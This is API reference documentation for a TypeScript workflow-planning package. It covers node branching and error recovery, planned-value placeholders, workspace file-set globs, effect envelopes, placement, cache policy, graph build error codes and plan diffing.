Builds a dependency at plan time using a reference to the future result. Pass it into payloads; use `Node.map` for value computation and `Node.branch` for decisions. The callback receives a symbolic reference. Enable type-aware ESLint's `@typescript-eslint/strict-boolean-expressions` to reject planned conditions; explicit Boolean coercion and reference equality still require review.

Migration: replace callback-form `Node.andThen` with `Node.bindPlanned`. Direct node sequencing remains `Node.andThen`. This source API change preserves existing AST and key formats.

`bindPlanned` builds dependencies, not a whole-subtree success barrier. Members
that do not consume the reference can start while its producer runs. Use
explicit `andThen` when no work in the next subtree may start before success.
The corrected graph normalization now carries that explicit barrier to every
descendant, including inline-flow bodies. This changes compiled keys/digests
for previously under-ordered nested sequences; re-plan affected work rather
than substituting the new graph into an already approved execution.

### Node.BranchOptions

```ts
interface BranchOptions<A, B1, E1, R1, B2, E2, R2> {
  readonly if: (value: A) => boolean
  readonly then: (value: Planned.Planned<A>) => Node<B1, E1, R1>
  readonly else: (value: Planned.Planned<A>) => Node<B2, E2, R2>
}
```

`if` runs at run time on the real value. `then` and `else` run at plan time, once each, against a `Planned` placeholder.

### Node.branch

```ts
const branch: {
  <A, B1, E1, R1, B2, E2, R2>(
    options: BranchOptions<A, B1, E1, R1, B2, E2, R2>
  ): <E, R>(self: Node<A, E, R>) => Node<B1 | B2, E | E1 | E2, R | R1 | R2>
  <A, E, R, B1, E1, R1, B2, E2, R2>(
    self: Node<A, E, R>,
    options: BranchOptions<A, B1, E1, R1, B2, E2, R2>
  ): Node<B1 | B2, E | E1 | E2, R | R1 | R2>
}
```

Decides between two arms, both of them static topology. The predicate function is snapshotted at construction; replacing `options.if` later does not change the chosen arm. Both arms contribute their requirements, because a run has to be able to take either. An arm that does not return a node throws `invalid_continuation`.

### Node.CatchOptions

```ts
interface CatchOptions<E, B, E2, R2 = never, Handled = E> {
  readonly error?: Schema.Schema<Handled> | undefined
  readonly onFailure: (error: Planned.Planned<Handled>) => Node<B, E2, R2>
}
```

The statically planned recovery arm and the optional schema selecting which typed failures it handles.

### Node.catch

```ts
const catch: {
  <Handled, B, E2, R2>(
    options: CatchOptions<unknown, B, E2, R2, Handled> & { readonly error: Schema.Schema<Handled> }
  ): <A, E, R>(self: Node<A, E, R>) => Node<A | B, E | E2, R | R2>
  <E, B, E2, R2>(
    options: CatchOptions<E, B, E2, R2> & { readonly error?: undefined }
  ): <A, R>(self: Node<A, E, R>) => Node<A | B, E2, R | R2>
  <A, E, R, Handled, B, E2, R2>(
    self: Node<A, E, R>,
    options: CatchOptions<E, B, E2, R2, Handled> & { readonly error: Schema.Schema<Handled> }
  ): Node<A | B, E | E2, R | R2>
  <A, E, R, B, E2, R2>(
    self: Node<A, E, R>,
    options: CatchOptions<E, B, E2, R2> & { readonly error?: undefined }
  ): Node<A | B, E2, R | R2>
}
```

Recovers from matching typed failures with static failure topology. With no schema the whole typed error channel is handled. A schema handles only values it accepts, so schema-filtered overloads retain `E | E2`: refinements can reject values without narrowing their TypeScript type. The filter’s JSON Schema and runtime function identities both enter the catch key. Uncaptured schema callbacks have process-local identity and cannot enter a stable graph. For stable custom checks, construct `SchemaAST.Filter` with a `Node.capture`-annotated `run` function and declare all semantic captures; `Schema.makeFilter` wraps its predicate in an opaque closure.

### Node.priority

```ts
const priority: {
  (value: number): <A, E, R>(self: Node<A, E, R>) => Node<A, E, R>
  <A, E, R>(self: Node<A, E, R>, value: number): Node<A, E, R>
}
```

Attaches a scheduling priority, leaving the original node unchanged. Higher runs first among ready work, so a priority changes latency and nothing else. It never enters key material. Children inherit the value lexically when the graph is built, and a child that states its own keeps it. A value that is not a safe integer throws `invalid_priority`.

### Node.declaredPriority

```ts
const declaredPriority: (ast: Ast) => number | undefined
```

Reads the priority a node carries, or `undefined` when it states none and inherits from whatever encloses it.

### Node.capture

```ts
const capture: <C extends Readonly<Record<string, unknown>>, Args extends ReadonlyArray<unknown>, A>(
  captures: C,
  operation: (this: Readonly<C>, ...args: Args) => A
) => (...args: Args) => A
```

Declares the inert values a plan-time function closes over, which gives that function deterministic identity instead of process-local entropy. A deeply frozen plain copy is canonicalized into function identity and bound as the callback's `this` receiver. Use a function expression to read that copy; ordinary arguments keep their positions. Caller objects remain unchanged, and mutable lexical aliases must not supply semantic state. Sealed, non-extensible, frozen and Immer ordinary data are supported. Built-in brands and Proxies are refused, and object capture requires `structuredClone`. See the [admission algorithm](/docs/reference/api/crypto/#identitycapture). Unsupported values, accessors, exotic prototypes, symbols, cycles, and member nesting beyond 256 levels throw a `TypeError` naming the path, instead of producing an identity that cannot describe the function's behavior.

Plan uses the capture and function-identity implementation from `@smthrs/crypto/Identity`, the one implementation every node model embeds. Capturing an already-captured function preserves its original source and folds both capture sets into the identity. Wrappers can be captured and identified interchangeably by either package. A non-function operation throws `TypeError("Node.capture requires a function operation")`.

### Node.plannedReference

```ts
const plannedReference: (value: unknown) => {
  readonly _tag: "PlannedReference"
  readonly node: string
  readonly path: ReadonlyArray<string>
} | undefined
```

Reads the inert AST reference created for a planned value. Structural lookalikes remain ordinary payload data: the marker is private to the AST cloner, so this accessor is the only recognition path.

### Node.branchSubject and Node.catchSubject

```ts
const branchSubject: "branch/subject"
const catchSubject: "catch/subject"
```

The node reference a branch arm's symbolic subject carries, and the prefix each `catch` mints its own token under. Arms are built before the graph assigns ids, so every reference an arm records names one of these placeholders, and graph building rewrites it to the node the arm belongs to.

### Engine members

`flowCall`, `actionCall`, `declaration`, `continuation`, `mapper`, `predicate`, `catchFilter`, `functionIdentity`, `schemaIdentity`, and `representationIdentity` exist for [`@smthrs/flow`](/docs/reference/api/flow/), which owns flow and action authoring. They are supported names, not authoring API.

```ts
const flowCall: <A = unknown, E = never, R = never>(
  declaration: unknown,
  flow: string,
  mode: CallMode,
  payload: unknown
) => Node<A, E, R>

const actionCall: <A = unknown, E = never, R = never>(
  declaration: unknown,
  action: string,
  payload: unknown
) => Node<A, E, R>

const declaration: (ast: Extract<Ast, { readonly _tag: "ActionCall" | "FlowCall" }>) => unknown
const continuation: (
  ast: Extract<Ast, { readonly _tag: "AndThen" }>
) => ((value: Planned.Planned<unknown>) => unknown) | undefined
const mapper: (ast: Ast) => ((value: unknown) => unknown) | undefined
const predicate: (ast: Ast) => ((value: unknown) => boolean) | undefined
const catchFilter: (ast: Ast) => Schema.Top | undefined
const functionIdentity: (operation: unknown) => FunctionIdentity
const schemaIdentity: (schema: Schema.Top, options?: SchemaIdentityOptions) => SchemaIdentity
type SchemaIdentity = JsonSchema.Document<"draft-2020-12">
type SchemaIdentityOptions = { readonly onExcessProperty?: "ignore" | "error" | undefined }
const representationIdentity: (schema: Schema.Top, version?: RepresentationIdentityVersion) => Schema.Json
const representationIdentityVersions: readonly [2, 1]
type RepresentationIdentityVersion = 2 | 1
```

`flowCall` and `actionCall` validate nothing: an unknown tag becomes a call node the graph keeps as a leaf. `declaration`, `continuation`, `mapper`, `predicate`, and `catchFilter` answer `undefined` for the wrong variant and for an AST rehydrated from JSON, whose side tables did not survive serialization. `functionIdentity` throws a `TypeError` when handed anything but a function.

`schemaIdentity` returns the document a schema contributes to a step key: what the callee of a call accepts and produces, and what a `catch` filters on. The document has the shape of `Schema.toJsonSchemaDocument(schema, options)`, and this package prints it. `onExcessProperty` has the meaning and the default it has there; a step key takes the identity under `"error"`, which closes every object over the keys it declares. The installed `effect` does not, because a later Effect release can print a different document for the same schema: for a string, `effect@4.0.5` prints `minLength: 3` for `isMinLength(5)` where `effect@4.0.0-rc.115` printed `minLength: 5`, adds a `minimum` and a `maximum` to `Schema.Int`, and prints an `isPattern` pattern only when the expression has the `u` flag. A document that moved with the dependency would re-key every recorded step. `schemaIdentity` prints what `effect@4.0.0-rc.115` printed, under every release this package supports. Use it for identity only. A JSON Schema you show to a model or a person comes from `Schema.toJsonSchemaDocument`.

The identity has three limits. A built-in check such as `Schema.isMinLength` contributes the constraint its name and arguments state, so a `toJsonSchema` annotation passed to a built-in check is not read; one on a `Schema.makeFilter` check is. `Schema.brand` contributes nothing, because a brand is not part of the schema in `effect@4.0.5`: a declaration that uses one schema with an `identifier`, or one recursive schema, both with and without a brand got two definitions under `effect@4.0.0-rc.115` and gets one now, so it re-keys once. And a codec's behavior contributes nothing, so an author who changes what a transformation does renames the declaration to re-key its calls. `schemaIdentity` throws `Node.SchemaIdentityError`, tagged `@smthrs/plan/SchemaIdentityError`, for a schema that has no JSON Schema form, such as a record keyed by a number.

`representationIdentity` returns what a sealed action's step key folds in for its success and error schemas: `SchemaRepresentation.toJson(SchemaRepresentation.toRepresentation(schema.ast))` as `effect@4.0.0-rc.115` wrote it. A later release renamed six built-in checks, `isStartsWith`, `isEndsWith`, `isIncludes`, `isLengthBetween`, `isSizeBetween` and `isPropertiesLengthBetween`; the identity writes their rc.115 ids back. `representationIdentity` throws for a schema that has no representation, such as one with a `Schema.makeFilter` check.

The identity is versioned, because a key written under an older version must stay derivable. `representationIdentityVersions` lists the versions newest first, and `representationIdentity` takes the newest by default:

| Version | Written                     | What it hashes                                                                                                                         |
| ------- | --------------------------- | -------------------------------------------------------------------------------------------------------------------------------------- |
| `2`     | since `effect@4.0.4`        | The installed encoding with the rc.115 check ids. A brand is not part of the AST from `effect@4.0.4` on, so it contributes nothing.    |
| `1`     | under `effect@4.0.0-rc.115` | Version 2 with each `Schema.brand` restored from the schema value as the `brands` annotation rc.115 wrote, in its place and key order. |

Version 1 restores a brand at every position the schema value names: the schema itself, a struct's fields, an array's or a tuple's elements, a union's members, a record's key and value, the field `Schema.optionalKey`, `Schema.optional` or `Schema.mutableKey` wraps, and a definition a reference names. A brand below a class, a suspended schema or a transformation is not restored. A definition that two positions brand differently, such as one branded at one field and unbranded or branded otherwise at another, was two definitions under rc.115 and is one now, so no restoration reproduces it: version 1 is then the version 2 document. Restoring one position's brand there would print the rc.115 document of a different declaration, and its key could replay that declaration's outcome. A key behind such a schema re-keys once.

Version 1 only adds `brands` annotations to the version 2 document, so two declarations share a version 1 document only if they share a version 2 document. A version 1 key can stand for another declaration only when the two differ in brands alone, which version 2 does not tell apart either. [`@smthrs/engine`](/docs/reference/api/engine/) derives a sealed key under each version and replays a record written under either.

## Planned

[src/Planned.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/plan/src/Planned.ts)

A planned value may be passed into a payload field, into a branch, or into a map, and field access is allowed, because it records a reference path.

:::danger
A planned value may never be computed on.
:::

Misuse fails twice. The type is branded, so arithmetic on a planned value is a compile error; and the proxy's `Symbol.toPrimitive`, `valueOf`, `toString`, `toJSON`, application, `in`, and enumeration traps throw rather than let a plan be built around `NaN` or `"[object Object]"`, which catches template interpolation, `String(value)`, and `JSON.stringify` of a payload holding one. JavaScript exposes no trap for `Boolean(value)` or strict identity, so those cannot be refused at run time; they reveal only proxy truthiness or identity and never the planned result.

The `TypeId` symbol is interned, so a value that crossed a module boundary is still recognised. Interning is a recognition aid rather than a capability, so `reference` returns a reference only when the value stored under that symbol has the complete `{node, path}` shape.

### Planned.Planned

```ts
type Planned<T> =
  & { readonly [TypeId]: Identity<T> }
  & ([T] extends [object] ? { readonly [K in keyof T]: Planned<T[K]> } : unknown)
```

A step result that has not been produced yet. The mapped half keeps field access typed, so `result.files` is a `Planned` of the field.

### Planned.Reference and Planned.Identity

```ts
interface Reference {
  readonly node: string
  readonly path: ReadonlyArray<string>
}

interface Identity<out T> extends Reference {
  readonly _T: Types.Covariant<T>
}
```

What a planned value points at: the node that will produce the result, and the property path read from it. `path` is empty for the result itself.

### Planned.TypeId

```ts
const TypeId: unique symbol // Symbol.for("@smthrs/plan/Planned")
```

The brand carried by every planned value, and the key its reference is read from.

### Planned.make

```ts
const make: <T>(node: string) => Planned<T>
```

Creates the strict placeholder standing for a node's result. Planning hands one to every builder that consumes an upstream value, then reads the `Reference` back off whatever the builder passed it into.

### Planned.reference

```ts
const reference: (value: unknown) => Reference | undefined
```

Reads the reference a planned value records, or `undefined` for anything else. A forged carrier is accepted only when its node and path have the complete reference shape. This is how a payload is scanned for the upstream results it consumes.

### Planned.isPlanned

```ts
const isPlanned: (value: unknown) => value is Planned<unknown>
```

Checks whether a value is a planned placeholder.

## FileSet

[src/FileSet.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/plan/src/FileSet.ts)

The static filesystem declaration vocabulary shared by planning and execution: a workspace-relative `Pattern`, a Bazel-style `Glob`, a `TreeArtifact`, and the `Filegroup` that names a reusable collection.

`canonical` rewrites every separator to `/` and normalizes to Unicode NFC, and every exact-path comparison goes through it, so the backslash spelling and the NFD spelling of one workspace path overlap. `workspaceRelative` refuses absolute paths, drive-letter prefixes (`C:/x` and the drive-relative `C:x`), `..` and `.` segments, empty segments, the C0 control range, and DEL. C1 bytes stay legal, because a POSIX file name may contain them.

`overlaps` is conservative: `true` may over-serialize, while `false` proves that no path can belong to both declarations. It compares the `folded` form, so two spellings that differ only in letter case overlap, because a case-insensitive filesystem (default macOS APFS, Windows NTFS) opens them as one file.

### The declaration types

```ts
const Pattern: Schema.String // workspace-relative; `*` and `**` match only inside a Glob
const Glob: Schema.TaggedStruct<"Glob", { include: NonEmptyArray<Pattern>; exclude?: Array<Pattern> }>
const TreeArtifact: Schema.TaggedStruct<"TreeArtifact", { path: Pattern }>
const Filegroup: Schema.TaggedStruct<"Filegroup", { name: NonEmptyString; entries: Array<Entry> }>
const ReadFilegroup: Schema.TaggedStruct<"Filegroup", { name: NonEmptyString; entries: Array<ReadEntry> }>

type Entry = Pattern | Glob | TreeArtifact
type ReadEntry = Pattern | Glob
type Declaration = Entry | Filegroup
type ReadDeclaration = ReadEntry | ReadFilegroup
```

Each is exported as both a schema and a type. `Declaration` is what a write set accepts and `ReadDeclaration` what a read set accepts, which is how a tree artifact is kept out of a read set: a read set names what a node consumes, and a directory output is not that.

### FileSet.canonical

```ts
const canonical: (path: string) => string
```

The canonical spelling of a declared path or pattern: every separator is `/`, and Unicode is normalized to NFC.

### FileSet.folded

```ts
const folded: (path: string) => string
```

The `canonical` spelling with letter case folded away. Static overlap compares this form.

### FileSet.workspaceRelative

```ts
const workspaceRelative: (pattern: string) => boolean
```

Whether a declared path stays inside the workspace and names it one way only. Refuses absolute paths (POSIX and drive-letter), any first segment starting with a drive letter and `:` (including the drive-relative `C:foo`), upward traversal, the aliasing forms (`.` segments, empty segments), C0 controls, and DEL.

### FileSet.makeFilegroup

```ts
const makeFilegroup: (name: string, entries: ReadonlyArray<Entry>) => Filegroup
```

Creates a named filegroup.

### FileSet.expand and FileSet.expandReads

```ts
const expand: (declarations: ReadonlyArray<Declaration>) => ReadonlyArray<Entry>
const expandReads: (declarations: ReadonlyArray<ReadDeclaration>) => ReadonlyArray<ReadEntry>
```

Expands filegroups deterministically, preserving declaration order. Both plan passes expand before they compare anything.

### FileSet.isGlob and FileSet.isTreeArtifact

```ts
const isGlob: (value: unknown) => value is Glob
const isTreeArtifact: (value: unknown) => value is TreeArtifact
```

Which variant an entry is.

### FileSet.matchesPattern and FileSet.matchesGlob

```ts
const matchesPattern: (pattern: string, path: string) => boolean
const matchesGlob: (glob: Glob, path: string) => boolean
```

Bazel's `*` and `**` path semantics without permitting traversal: `*` matches within one segment, `**` matches segments, and a trailing `**` matches the rest of the path. `matchesGlob` honours the glob's `exclude` list.

Matching consumes the entire path, including Unicode line separators. Compiled
matchers are cached by canonical pattern spelling. Segment matching is linear
in the segment and pattern lengths; recursive matching visits each pattern/path
segment pair once, without regex backtracking.

### FileSet.overlaps

```ts
const overlaps: (left: Entry, right: Entry) => boolean
```

Conservative static overlap. A plain string is a literal path, even one containing `*` or `**`, as it is at execution. Exact paths and tree roots compare in `folded` form: canonical separator, NFC, and case-insensitive. A glob against an exact path folds both its `include` and `exclude` patterns. Two globs always overlap, and so do a glob and a tree artifact. A tree artifact overlaps any path beneath it. A glob tests the path bytes it is handed, so canonicalizing a measured path before matching is the caller's decision.

## Effects

[src/Effects.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/plan/src/Effects.ts)

The one effect envelope model. A flow declares what it may read and write, and a
graph build checks every step beneath it against that declaration. `@smthrs/flow`
enforces it while it builds, `@smthrs/core` re-exports it as `Effects`, and
`@smthrs/patterns` intersects a decorator's declaration with the flow it wraps
through it.

`FileSet` above is the other half of the vocabulary and stays separate: it
describes the files a node actually touches, in Bazel-style entries a plan
compiles conflicts from, while this module describes the AUTHORITY a flow holds,
in the flat path grammar `covers` defines.

### Effects.Declaration

```ts
interface Declaration {
  readonly reads: ReadonlyArray<string>
  readonly writes: ReadonlyArray<string>
  readonly mode: "hermetic" | "expected"
  readonly onConflict: "serialize" | "lane" | "fail"
  readonly tier?: "sealed" | "compensable" | "irreversible" | undefined
}
```

`mode` says whether the declaration is complete (`hermetic`) or partial
(`expected`). `onConflict` says what the planner should do about another writer
of the same path, and its three values are `Plan.PairStrategy`. `tier` says how
reversible the effect is, matching `KeyMaterial.kind`, and an omitted tier reads
as `sealed`.

### Effects.make

```ts
const make: (input: MakeOptions) => Declaration
```

Constructs a deterministic declaration. `MakeOptions` takes `Iterable<string>`
for `reads` and `writes` and is otherwise identical to `Declaration`.
Normalization is sorting and deduplication only: no separator rewriting and no
dot-segment resolution is performed, so hand it paths that are already
normalized.

### Effects.covers

```ts
const covers: (envelope: string, path: string) => boolean
```

Whether one envelope entry covers one path. The grammar is exhaustive and
intentionally not full minimatch: an exact path matches itself, `*` and `**`
match everything, `prefix*` matches by string prefix, and `prefix/**` matches
`prefix/` and everything below it but not the bare path `prefix`. A path
containing a whole `.` or `..` segment is never covered.

### Effects.narrow

```ts
const narrow: (envelope: Declaration, step: Declaration) => NarrowResult
```

Verifies that a step declaration stays within an enclosing envelope. Read and
write paths must be covered independently, `expected` may tighten to
`hermetic` but not the reverse, and the tier may narrow from `irreversible` to
`compensable` to `sealed`.

### Effects.NarrowResult

```ts
type NarrowResult =
  | { readonly ok: true }
  | {
    readonly ok: false
    readonly code: "effect_outside_envelope" | "effect_mode_widening" | "effect_tier_widening"
    readonly paths: ReadonlyArray<string>
  }
```

`paths` is populated for `effect_outside_envelope` and empty for the other two.
The three codes are the three `GraphBuildError` codes a build records when a
declaration widens the envelope that encloses it.

### Effects.overlaps

```ts
const overlaps: (a: Declaration, b: Declaration) => ReadonlyArray<string>
```

Returns the concrete or narrower write declarations two declarations share,
sorted and duplicate-free. Two declarations of the same literal path always
overlap, including a path `covers` refuses to match because it carries a `.` or
`..` segment: glob coverage stays strict, but two writers naming the same
unnormalized path are still writing the same resource.

### Effects.sealed

```ts
const sealed: (declaration: Declaration) => Declaration
```

Returns a `hermetic`, `sealed` copy of a declaration.

### The prepared matching API

```ts
const prepareEnvelope: (envelope: Declaration) => PreparedEnvelope
const narrowPrepared: (envelope: PreparedEnvelope, step: Declaration) => NarrowResult

const indexPaths: (lists: Iterable<ReadonlyArray<string>>) => PathIndex
const rankPaths: (index: PathIndex, paths: ReadonlyArray<string>) => Ranked
const overlapRanks: (index: PathIndex, a: Ranked, b: Ranked) => Array<number>

const boundedEffects: (declaration: Declaration, limit: number, refuse: () => Error) => Declaration
const maximumPathLength: 4096
const maximumGlobs: 128
```

What a graph build uses so one envelope costs its size once per build rather
than once per step it encloses. `prepareEnvelope` reads an envelope into the
form `narrowPrepared` answers from; `indexPaths`, `rankPaths`, and
`overlapRanks` are the same decomposition for write overlap, which `overlaps`
wraps for the pairwise case. `boundedEffects` snapshots a declaration into
builder-owned data and throws the caller's own refusal before the copy grows
past `limit`, past `maximumPathLength` code units in one path, or past
`maximumGlobs` patterns in one list.

## Placement

[src/Placement.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/plan/src/Placement.ts)

The one placement model. [`@smthrs/core`](/docs/reference/api/core/) re-exports it as `Placement`, [`@smthrs/flow`](/docs/reference/api/flow/) annotates with it as `Flow.PlacementDirective`, and `@smthrs/registry` lowers a descriptor's frontmatter literal into it. A directive is serializable detail identifying a host profile; it never carries a host implementation, credentials, or any other runtime handle.

The four tags read `flows/core/Placement/...` because they are hashed into `KeyMaterial.placement`, and therefore into the step key of every node that declares a placement. Retagging them would re-key recorded work and miss its cached results, so the tag is treated as a wire value rather than as a location.

### Placement.Placement and Placement.Options

```ts
type Placement = Data.TaggedEnum<{
  readonly "flows/core/Placement/Local": Readonly<Record<never, never>>
  readonly "flows/core/Placement/Client": Readonly<Record<never, never>>
  readonly "flows/core/Placement/Sandbox": Options
  readonly "flows/core/Placement/Remote": Options
}>

interface Options {
  readonly image?: string | undefined
  readonly profile?: string | undefined
  readonly target?: string | undefined
}
```

### Placement.local, client, sandbox and remote

```ts
const local: () => Placement
const client: () => Placement
const sandbox: (options?: Options) => Placement
const remote: (options?: Options) => Placement
```

The local process host, the viewer's browser, an isolated sandbox, and a remote control plane. `sandbox` and `remote` copy the options they are given, so a later mutation of the caller's object cannot change a recorded directive.

### Placement.Annotation

```ts
const Annotation: Context.Key<Placement, Placement>
```

The annotation key a declared placement is carried under, identified by `"@smthrs/plan/Placement"`. One key: `@smthrs/core`'s `Annotations.Placement` and `@smthrs/flow`'s `Flow.Placement` are both this object.

## CachePolicy

[src/CachePolicy.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/plan/src/CachePolicy.ts)

[`@smthrs/flow`](/docs/reference/api/flow/) publishes this model as `CacheEnvironment.CachePolicy`. Declare it on an action with `Action.withCache` or `CachePolicy.annotate`. [`@smthrs/engine-store`](/docs/reference/api/engine-store/) reads it off the dispatched action, including in nested flow calls.

The annotation key reads `"@smthrs/flow/Action/CachePolicy"`. The engine reads stored and dispatched actions by that identifier, so retagging it would make every policy already written invisible at dispatch. The identifier is treated as a wire value rather than as a location.

### CachePolicy.CacheScope

```ts
const CacheScope: Schema.Literals<["run", "flow", "shared"]>
type CacheScope = "run" | "flow" | "shared"
```

How far a recorded sealed result may travel. `shared` is the content-addressed default: the key names the inputs and the environment, so any run on any host that would have produced the same bytes may reuse the row. `run` and `flow` fold one execution's or one flow's identity into the key, so a sibling never reads it. The three levels are the old `run | workflow | global` policy named after the current concepts.

### CachePolicy.CachePolicy

```ts
const CachePolicy: Schema.Struct<{
  ttlMs: Schema.optionalKey<Schema.Int>
  scope: Schema.optionalKey<typeof CacheScope>
}>
```

`ttlMs` is a positive whole number of milliseconds bounding the age of a row the engine may serve; past it the dispatch executes again and journals `cache-expired`, so the refusal is durable evidence a replay reads rather than a fresh clock reading. Both fields are optional and both defaults are the pre-policy behaviour: no age bound, and the reach the composition already granted.

### CachePolicy.CachePolicyAnnotation and cachePolicyOf

```ts
const CachePolicyAnnotation: Context.Key<CachePolicy, CachePolicy>
const cachePolicyOf: (annotations: Context.Context<never>) => CachePolicy | undefined
```

The key a declared policy is carried under, identified by `"@smthrs/flow/Action/CachePolicy"`, and the reader for it. `@smthrs/flow`'s `Action.CachePolicyAnnotation` and `CacheEnvironment.CachePolicyAnnotation` both reference this object.

### CachePolicy.annotate

```ts
const annotate: <A extends { annotate: (key: typeof CachePolicyAnnotation, value: CachePolicy) => A }>(
  declaration: A,
  policy: CachePolicy
) => A
```

Attaches a policy to any declaration that carries annotations, answering a new one rather than mutating it. `@smthrs/flow` publishes it as `CacheEnvironment.withCache`.

## Repetition

[src/Repetition.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/plan/src/Repetition.ts)

The one bounded-repetition ceiling vocabulary. [`@smthrs/flow`](/docs/reference/api/flow/)'s `Poll.make` takes it as `onTimeout`, for the attempt a poll gives up on, and [`@smthrs/patterns`](/docs/reference/api/patterns/)' `Loop` takes it as `onMaxReached`, for the iteration a loop gives up on.

### Repetition.AtCeiling

```ts
const AtCeiling: Schema.Literals<["fail", "return-last"]>
type AtCeiling = "fail" | "return-last"
```

`fail` raises the repetition's own typed failure at the ceiling; `return-last` settles with the last value it produced.

## GraphBuildError

[src/GraphBuildError.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/plan/src/GraphBuildError.ts)

The refusals a plan-time build raises instead of producing a wrong plan. Each carries the site, `node` plus the recorded property `path`, and states the fix in `message`, because the author reading it is mid-body.

### GraphBuildError.GraphBuildError

```ts
class GraphBuildError extends Schema.TaggedError<GraphBuildError>()("@smthrs/plan/GraphBuildError", {
  code: typeof GraphBuildErrorCode
  node: Schema.String
  path: Schema.Array$<Schema.String>
  message: Schema.String
})
```

`node` is the node reference the failure belongs to: a planned value's origin node, an `all` member name, or a branch arm. `path` is the property path recorded on a planned value before it was misused, and the payload path for a payload refusal. It is empty for every other code.

### GraphBuildError.GraphBuildErrorCode

| `code`                        | Meaning                                                                                        |
| ----------------------------- | ---------------------------------------------------------------------------------------------- |
| `planned_value_computed`      | a body computed on a step result                                                               |
| `invalid_all_member`          | `Node.all` received a non-node member                                                          |
| `invalid_join`                | a race, any, or quorum has a non-node member, no members, or an unreachable count              |
| `invalid_continuation`        | a branch arm, catch arm, or continuation did not return a node                                 |
| `recursion_requires_boundary` | a flow calls itself inline instead of using a trampoline handoff or an explicit child boundary |
| `placement_requires_boundary` | an inline call's callee declares a placement the enclosing flow cannot satisfy                 |
| `cyclic_payload`              | a payload contains itself, so no plan could serialize or hash it                               |
| `payload_too_deep`            | a payload is nested past the build bound                                                       |
| `graph_too_deep`              | authored topology is nested past the build bound                                               |
| `duplicate_node`              | two structural graph addresses resolve to one durable node id                                  |
| `invalid_priority`            | `Node.priority` received a value that is not a safe integer                                    |
| `invalid_payload`             | a payload member cannot be captured as inert JSON without executing code or losing identity    |
| `unstable_callback`           | a callback has process-local identity in a build that requires stable callbacks                |
| `effect_outside_envelope`     | a declaration reads or writes a path the enclosing effect envelope does not cover              |
| `effect_mode_widening`        | an `expected` declaration sits inside a `hermetic` envelope                                    |
| `effect_tier_widening`        | a declaration's tier is less reversible than the enclosing envelope's                          |
| `capability_outside_grant`    | a called flow or action requires a capability the caller does not hold, so the call drops it   |
| `write_conflict`              | two work nodes overlap under `onConflict: "fail"`                                              |
| `missing_key_material`        | a node reached key compilation without any                                                     |
| `dependency_cycle`            | a dependency set cannot be ordered                                                             |
| `plan_too_large`              | a node, edge, conflict, or effect-path limit was crossed                                       |
| `payload_too_large`           | one plan value expands to more members than the bound                                          |
| `invalid_node`                | a malformed node AST                                                                           |

`GraphBuildErrorCode` is a closed schema literal, so a caller may switch on it and a new refusal is a deliberate addition rather than a new free-form string. This package raises `planned_value_computed`, `invalid_all_member`, `invalid_join`, `invalid_continuation`, `invalid_priority`, `invalid_payload`, and `cyclic_payload`. [`@smthrs/flow`](/docs/reference/api/flow/)'s graph walk raises `recursion_requires_boundary`, `placement_requires_boundary`, `payload_too_deep`, `graph_too_deep`, `duplicate_node`, `unstable_callback`, and the four effect-authority codes. [`@smthrs/core`](/docs/reference/api/core/)'s graph builder raises the last six, plus `payload_too_deep`, `graph_too_deep`, `duplicate_node`, `invalid_payload`, and the four effect-authority codes; it uses this error rather than a second class of its own. `unstable_callback` is raised when `Graph.build` runs with `callbackIdentity: "stable"` and a callback carries no `Node.capture` declaration; declare its complete inert captures, including the version of any imported implementation, so the callback keys by content instead of by process.

The four effect-authority codes are recorded while a walk checks every
declaration against the envelope enclosing it, using the narrowing rule
[`Effects.narrow`](#effectsnarrow) defines.

A `write_conflict` names the first of the overlapping pair in `node` and both in
its `message`; `Graph.conflicts` carries the pair as data.

### GraphBuildError.isFatalDiagnostic

```ts
const isFatalDiagnostic: (diagnostic: GraphBuildError) => boolean
```

Whether a recorded refusal blocks the drafts a plan is compiled from. Every code
is fatal except `capability_outside_grant`: a capability the caller does not
grant is DROPPED, so the callee runs with LESS authority than it asked for,
which is the safe direction. The author still needs to see it, because a flow
that silently loses a capability fails later at the action that needed it, so
the build records the refusal and `Graph.drafts` still hands the drafts over.

## PlanDiff

[src/PlanDiff.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/plan/src/PlanDiff.ts)

The verdict is the key: two nodes with the same key are the same step. `diff` pairs nodes with the same id and key first, then the same key under a moved id (flow node ids are positional, so inserting a step shifts the ids after it), then the same id with a different key, which is a re-key. `added`, `rekeyed`, and `unchanged` name nodes by their id in `next`, and `removed` by their id in `previous`. The attribution, `changed: ["body", "input[1]"]`, is a report for a human, derived by comparing declarations field by field, and is deliberately part of no digest. Labels mirror the hashed declaration: `kind` (the effect tier, which selects the key namespace), `body`, `layers`, `capabilities`, `effects`, `version`, `nondeterministic`, `placement`, and `input[n]`, including `input[n]` entries whose declaration is unchanged but whose referenced node itself re-keyed. A node re-keyed purely by an upstream edit is therefore attributed to the input position that references it, even behind an unprojected `Pending`, rather than reported as nothing changed.

Each compared field is projected through the same JSON mirror the keys are derived from, so two `Date` bodies a generation apart attribute to `body` rather than to nothing. The projection runs no accessor, and a field it refuses compares by an identity token scoped to that node and field, so `diff` stays a total function even for a value canonical serialization would reject.

### PlanDiff.PlanDiff

```ts
interface PlanDiff {
  readonly added: ReadonlyArray<string>
  readonly removed: ReadonlyArray<string>
  readonly rekeyed: ReadonlyArray<Rekeyed>
  readonly unchanged: ReadonlyArray<string>
}
```

What changed between two plans of the same flow, as node ids.

### PlanDiff.Rekeyed

```ts
interface Rekeyed {
  readonly id: string
  readonly from: string
  readonly to: string
  readonly changed: ReadonlyArray<string>
}
```

A node whose key moved, with the field labels that moved it. `changed` is empty only when none of the compared fields moved.

### PlanDiff.diff

```ts
const diff: (previous: Plan.Plan, next: Plan.Plan) => PlanDiff
```

Compares a plan against the last plan for the same flow. Pure, total, and free of requirements.

---

# @smthrs/plan-store
https://smithers.sh/docs/reference/api/plan-store/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/plan-store/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/plan-store/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/plan-store/docs)

